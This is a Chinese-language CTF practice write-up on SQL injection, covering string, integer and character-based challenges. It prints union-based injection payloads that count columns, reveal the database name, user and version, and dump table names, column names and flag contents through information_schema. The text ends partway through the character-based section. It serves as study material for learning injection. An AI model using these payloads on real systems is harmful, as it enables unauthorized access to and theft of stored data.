SQL注入
关于SQL的刷题记录
SQL注入

首先查看源码发现name为id,并且是post传参

用hackbar查查有几个数据,发现只有三个
测试发现当post内容加‘时,内容就显示不出来

而加’#,发现又正常显示

这个题完全就是考察SQL注入,这个题目前来看有两种解决方法,在这里记录一下。
第一种解决方法
首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等
2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
先查个字段,因为有三个数据,就用4吧order by 4#

显示依然正常,那再试试5

这个时候发现没有返回值,所以可以确定字段就是四个,接下来,爆库名id=-1' union select 1,2,3,4#,把id变为-1是因为如果id有回显的话,我们查询的内容就不能显示了,所以要换一个id没有内容的值

这样就知道每一个数值所在的位置,然后开始爆库,id=-1' union select 1,database(),user(),version()#,这个有必要说明一下,database()是查询当前数据库名,user()是为了查询当前用户名,version()是为了查询数据库版本

然后爆表名,这个是固定格式,id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#,得到两个表名fl4g,sc

再然后爆列明,id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#

得到列名skctf_flag
表明单引号要用英文的’',当然不加也可以,但是表名要用十六进制
最后一步就是查询想要的数据了

得到flag
第二种解决方法
sqlmap跑,目前还在了解,学会了再更!!
整数型注入

当输入1时发现有回显,并且url也发生变化

使用order by语句查询字段数


当输入3的时候发现没有回显,说明只有俩个字段数据。
使用union联合查询检测信息回显位置
id=1 union select 1,2

发现并不可以,由于页面只允许返回一行内容,可以修改参数为-1,使得需要查询的数据回显。
输入一下来获取当前数据库名
id=-1 union select 1,database()

输入一下获取所有数据库名
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

输入一下查询数据库sqli表名
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

输入以下获取flag的所有字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

输入以下获取指定数据库的表的列的内容
id=-1 union select 1,group_concat(flag) from sqli.flag

得到flag!
字符型注入

测试后发现和上边的那个整形注入一样,只有两个数据。回显只有两处:ID和Data。
联合查询
123’ union select database(),2 #